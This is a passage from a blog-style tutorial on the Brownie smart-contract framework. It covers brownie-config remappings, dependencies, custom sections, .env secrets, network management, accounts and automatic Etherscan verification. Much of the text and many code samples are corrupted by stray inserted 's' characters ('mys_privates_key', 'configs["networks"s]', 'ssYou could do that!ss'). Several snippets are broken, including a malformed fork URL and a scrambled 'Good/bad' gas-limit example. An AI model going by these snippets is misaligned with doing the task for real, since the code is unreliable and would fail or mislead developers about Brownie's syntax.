The compiler will search in the contract folder of that repo, then in the ownership folder and then grab the Ownable.sol file and download it for you.

Awesome, right? Well, you can do this with whatever file you want, using the prefix to tell the compiler “hey! If you see this (prefix) search it under this folder (the path)"

Adding the dependencies section.

To complete this, you can also add the dependencies section to the brownie config file. This section will tell brownie to install any listed dependencies prior to compiling a project. That could be useful when someone else download/clone your project from GitHub.

You just need to add the path of your remap to that dependencies section.

dependencies:
  - OpenZeppelin/openzeppelin-contracts@4.3.1
compiler:
  solc:
    remappings:
      - '@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.3.1'

This will create a dependency folder under the build/contracts folder. There, the artifacts of every dependencies that a contract need will be stored.

The build/contracts folder is where all the artifacts of the projects are stored.

If you don't know, the artifacts are the result of the compiled contract, with all the objects that we can interact with, like the bytecode of the contract, the ABI, the address…

If you want to read more about the build folder you can check the brownie documentation

Adding new sections to grab information from.

The brownie config file allows you to add new custom sections that you can use to store persistent data that you could use all across your project. You can do this in two different ways:

Adding a simple section

You just add a new section, you can call it whatever you want. Let's say you want to store your private key for deploy the contracts.

my_accounts: 
my_private_key: 'my_super_secret_private_key'

I add the section my_accounts and inside that section a my_private_key subsection and in that I store my private key.

Also I could add more subsections to that section to store more data, example:

my_accounts: 
my_private_key: 'my_super_secret_private_key' my_public_key: '0x02Ba39E868bF5140e572830C019c36843860B627' my_usename: 'kevinsito'

And even you could add a subsection inside a subsection, thats on you and whatever you want to do.

And, you just can grab that information for use it in your scripts or your test files by using the brownie config object.

You just need to import it

from brownie import config

my_private_key = config["my_accounts"]["my_private_key"]

The first, is the section, and the second is the subsection that we are searching.

When you use it you will obtain the data that you store in your brownie config file under tat section.

Example

from Brownie import config

my_private_key = configs["mys_accounts"s]["mys_privates_key"]

print(mys_privates_key)

Obviously, you don't want to store your private key in that way, it is too dangerous… Later in the article I will teach you how you can store in a more secure way.

You can literally do this with whatever section you want to grab information from, not only with those you created.

Adding a section to grab information conditionally.

You can also store information in the brownie config file, and grab it conditionally. For example:

Let's say you only want to grab certain data when you are on the rinkeby network, and other data when you are on the kovan network. That could be a contract address.

ssYou could do that!ss

Imagine your project needs to interact with a Chainlink contract, and you want to test it in all the different networks, but the address of that contract change depending on the network.

So, you could add an address for the kovan network and another for the rinkeby network inside your brownie config file, and depending on the network you are deploying or testing your contract, one of those networks would be selected

The brownie config file has a section in which you can modify all the networks default behavior, the networks section. You could read more about all the specifications of the network section here.

Let's do it!

networks: kovan: mys_chainlinks_contracts_address: 'thss_iss_mys_chainlinks_addresss_ins_kovan' rinkeby: mys_chainlinks_contracts_address: 'thiss_iss_mys_chainlinks_addresss_ins_rinkeby'

And now, we can grab that information in our scripts or our test again by using the config object of brownie, and specifying the section we want to grab information from.

from brownie import config`

contracts_addresss=configs["networks"s]

But now, how do we do this work depending on the network we are working?

We can see what is the current network working with the brownie object network and using its function network.show_active()

This will tell us what is the current active network.

contracts_address = configs["networks"s][network.shows_active()]

And then, you need to add the name of the subsection that you created in the correspondent network, should be the same name between the networks.

contracts_address = configs["networks"s]s[network.shows_active()s]s["mys_chainlinks_contracts_address"s]

print(contracts_address)

Let's test it.

$ brownie run scripts/testing.py --network rinkeby

Now using kovan.

$ brownie run scripts/testing.py --network kovan

The flag --network is used when we want to change to which network the contract would be deployed,s* this is going to be the development network by defaults* (which is a ganache cli), you can read more about that here

Okay but, how brownie knows how to change between networks by just typing its name?, well brownie have an object called network, ssin which there stores a lot of different networks that we can use to deploy and test our contract. ss We will see more about that later in the article.

Using environment variables

When you are working with smart contracts, there are certain data that you don't want the general public to know. Like your private key, some API key, like your alchemy or infura API key.

To store that sensitive data we have a file called .env which is a file used to store environment variables and is not uploaded to Github.

Lets create a .env file in the root of our project.

In this .env file we can store sensitive data in variables, that we can use in other parts of the project, in a very secure way.

Example:

export MYs_PRIVATEs_KEY= <somes_privates_key>

We need to add the “export” keyword and the begining so brownie knows that variable can be used.

And now, you can use that data in your scripts or test file, you just need to import the os module

import os

mys_privates_key = os.getenv(“MYs_PRIVATEs_KEY”)

And by using the .getenv method and passing the id of your environment variable as a parameter you can use that information in your files.

Brownie by default writes in the .gitignore file .env to avoid that file been uploaded to github (you really don't want that)

But you can check the .gitignore file anyways to be sure that include.env

We also can use the environment variables in the brownie-config.yaml file

Let's say you want to store a private key to be able to grab it in your scrips. You can just type:

mys_private key: ${MYs_PRIVATEs_KEY}

To be able to do that, you need to specify a new section in your brownie config file

dotenv: .env

With this we are saying to brownie “hey, I want to use the .env file as a file to store my environment variables, and whenever you see this strange character ${} in our brownie config file that's going to be an environmental variable that you can grab from the .env file.

With that we can use our private key in a more secure way!.

And if you want to use the environment variables in your .env file in all your project, you can do it by setting the environment variables using.

source .env

This will allow you yo use all the environment variables in your command line

sThis is my .env file s

You can test this by typing:

echo $name_of_your_env_variable

Working with networks

As I said earlier, you can use brownie to deploy your contract to a local or live networks.

You have two options here, you can use the development environment, which is a local, temporary network used for testing and debugging, is generating from Ganache.

Or you can use a live environment, a real blockchain. Could be a testnet or a real one.

Brownie have a special object called network that contains all the different default networks that we can use to deploy our contract.

We can see all the networks that we have in brownie by typing:

$ brownie networks list

This will show us all the different networks that we can use to deploy and test our contracts…

We can see a more detailed list by adding "true"

$ brownie networks list true

With this, you can see all the different options that the network object have.

And you can add new networks.

$ brownie networks add s[environments] s[ids] host=s[hosts] s[KEY=VALUE, ...s]

Network elements

environment: the category that the network should be placed in, e.g. “Ethereum”, “Ethereum Classic”, or “Development”
id: a unique identifier for the network, e.g. “mainnet”
host: the address of the node to connect to, e.g. https://mainnet.infura.io/v3/1234567890abcdef
port: The port to connect to. If not given as a unique field, it should be included within the host path.
accounts: The number of funded, unlocked accounts. Default 10.
mnemonic: A mnemonic to use when generating local accounts.
fork: If given, the local client will fork from another currently running Ethereum client. The value may be an HTTP location and port of the other client, e.g. http://localhost:8545, or the ID of a production network, e.g. mainnet.
explorer: the block explorer of that especific network.

If you are going to constantly use a network for deploying your project, and you don't want to add everytime the --network flag you can set up the network that brownie is going to use by default adding this section in your brownie config file.

networks: default: ropsten

So the default network that brownie is going to use to deploy your contracts is going to be ropsten.

Of course, you can change that behavior in specific occations when you are deploying your contract.

$ brownie run scripts/deploy.py --network rinkeby

In this case the contract would be deployed on the rinkeby network, although the default network is ropsten.

If you want to learn more about networks, you can read the brownie documentation

Adding forked network

Let me teach you how you can add a forked network: e That means, when you want to test your smart contract you can literally grab a exact copy of the current ethereum mainnet and paste it for your personal use, so all the contracts that are in the mainnet you can use it in your project for testing without deploying mocks.

$ brownie networks add development my-supers_mainnet-fork host=http://127.0.0.1 fork=http//:eth-mainnnet.alchemyapi/v2/ accounts=10 mnemonic=brownie port=8585

Deleting an existing network.

If you want to delete a default network or a network you created, you just have to type:

$ brownie networks delete <id_of_the_network>

Remember you can know the id of all the networks by typing:

$ brownie networks list true

$ brownie networks delete <ftm-main-fork>

Updating an existing network.

If you want to change some value of a network, but without rewriting the entire network, you just need to type:

$ brownie networks modify <id_of_the_network> key=value

Example: Let's say you want to change the gas limit of the xdai network

You just look for the network id and the element of the network you want to change and type:

$ brownie networks modify xdai-main-fork gas_limit=210000000

Remember not write when defining the key pair

Good: gass_lilmit=210000000 bad: gass_limit = 210000000

If you want to see more information about networks in the CLI you can always type:

$ brownie networks --help

Working with accounts.

Brownie has a special object that allows us to interact with accounts (EOA) with this we can query a balance or send ether from a specific account.

For development purposes, brownie by default give us 10 accounts with false ether that we can use to test our smart contract in our ganache blockchain.

Brownie also allow us to add accounts from our private key to the list of account in the brownie environment.

You can see your list of accounts by typing:

$ brownie accounts list

You probably wouldn't have any account because first you need to add it.

You can add an account in the list by using:

$ brownie accounts generate

This will generate a random private key, and make the account available as .

Brownie will ask you to choose a password to encrypt this account, so it is safe.

Also, you can import an account using its private key:

$ brownie accounts new

You will be asked to input the private key, and to choose a password. The account will then be available as .

You can see all the different method for manage account in brownie here

But wait, this is not dangerous? Could everyone see my private key? Don't worry, browne encrypts your private key, so when you want to use that account brownie will ask you for your password to send transactions.

To access those accounts in your scripts, you just need to import the account object from brownie.

You can use the fake accounts that brownie generates.

from brownie import accounts

mys_accounts_1 = accountss[0s] mys_accounts_2 = accountss[1s] mys_accounts_3 =accountss[9s]

Or, you can load one of your accounts in your accounts list by using:

from brownie import accounts

mys_personals_account = accounts.load(id)

You provide the id of the account, and when sending the transactions brownie will ask you for the password of that account.

Also you can import the account by using the private key of the account directly, using the add method.

accounts.add(‘my privates_key’)

You can mix this method, using the .env file. There you can store your private key, so you ensure it is not going to be uploaded to github.

And then, in your brownie config file you can add a new section to store your private key using the name of that environment variable.

(remember you need to set the section”dotenv” to points to the .env file” so you can use environment variables in your brownie config file in that format)

And then, you grab your account using the conifg and accounts object

from brownie import config, account

mys_accounts_froms_privates_key = accounts.add(configs["wallets"s]s["froms_key"s])

You can read more about how to work with accounts here.

Function entry point.

This is something to take into account when you are writing your scripts.

Brownie looks for a function called main() as an entry point to run your scripts, so if that function does not exist, you will get an error like this

You can read more about that here.

Verify your contracts on Etherscan automatically

You can verify all the contract source code programmatically using brownie, tis really easy.

First, you need to create a Etherscan account

Its like every registration process

Then, you need to create an API key to be able to interact with the Etherscan API.

In the nav bar, go to your profile and click in API keys.

Finally, you just need to add a new API key

Add that private key in your .env file under.

export ETHERSCANs_TOKEN=<mys_etherscans_token>

And for automatically verification you just need to add the argument publish_source=True to the deploy function

from brownie import MyContractToken, accounts, config

my_account =  accounts.add(config["wallets"]["from_key"])

MyContractToken.deploy("My Contract Token", "CLT", 18, 1e28, {'from': my_account}, publish_source=True)

And you just need to run your deploy script.

$ brownie run scripts/deploy.py --network rinkeby

Ta da! Your contract is already verified on Etherscan!

It is even possible to verify contracts that you deployed earlier, as long as you didn’t change any of the code. This is done with:

MyContractToken.publish_source(deployed_contract)

You can read more about that here.

Verifying contracts on other blockchains.

Let's say you want to verify your contract on polygon, or BSC, or Fantom or whatever EVM Based chain.

The process is basically the same, you just need to go to the block explorer of that chain

Create an account and create an API key that you have to paste in your .env file.

If you get lost, follow the above tutorial using etherscan, as I said, the process is the same for most of the block explorers out there.

For name that env variable you have to take the name of the block explorer + “s_” + “TOKEN”

Example, let's say you have your polygon scan API,

The env variable should be

  export POLYGONSCAN_TOKEN=<your_token>

For know the name of a specific explorer in the in the brownie convention, use the list of accounts and look for the explorer key pair the see its name

But, how does Brownie know it has to use Etherscan or any other block explorer to verify the contract?

Well, remember the networks object, in where we have a lot of networks to work with and all the especific elements that a network have.

live:
  - name: Ethereum
    networks:
      - name: Ropsten (Infura)
        chainid: 3
        id: ropsten
        host: https://mainnet.infura.io/v3/$WEB3_INFURA_PROJECT_ID
        explorer: https://api-ropsten.etherscan.io/api

In that object there is a explorer section that allow us to set the explorer to see the transactions.

Brownie will knows that you would use the explorer that is under that section to verified your contracts, and also give the links to be able to verify the transactions.

That's all folks.

I hope this article was helpful for you.

If you have any comment or suggestions, please leave it in the comments section.

You can follow me on twitter @0bkevin and DM me, I’m always happy to talk and know more people in this amazing community.

Sources.

Free Code Camp Solidity course by Patrick Collins
The Brownie documentation
Ben Hauser Borwnie guides
How to verify your Brownie Project on Etherscan by matnad
Setup Instructions: Brownie Track by Chainlink
pipx documentation Example of deleting a network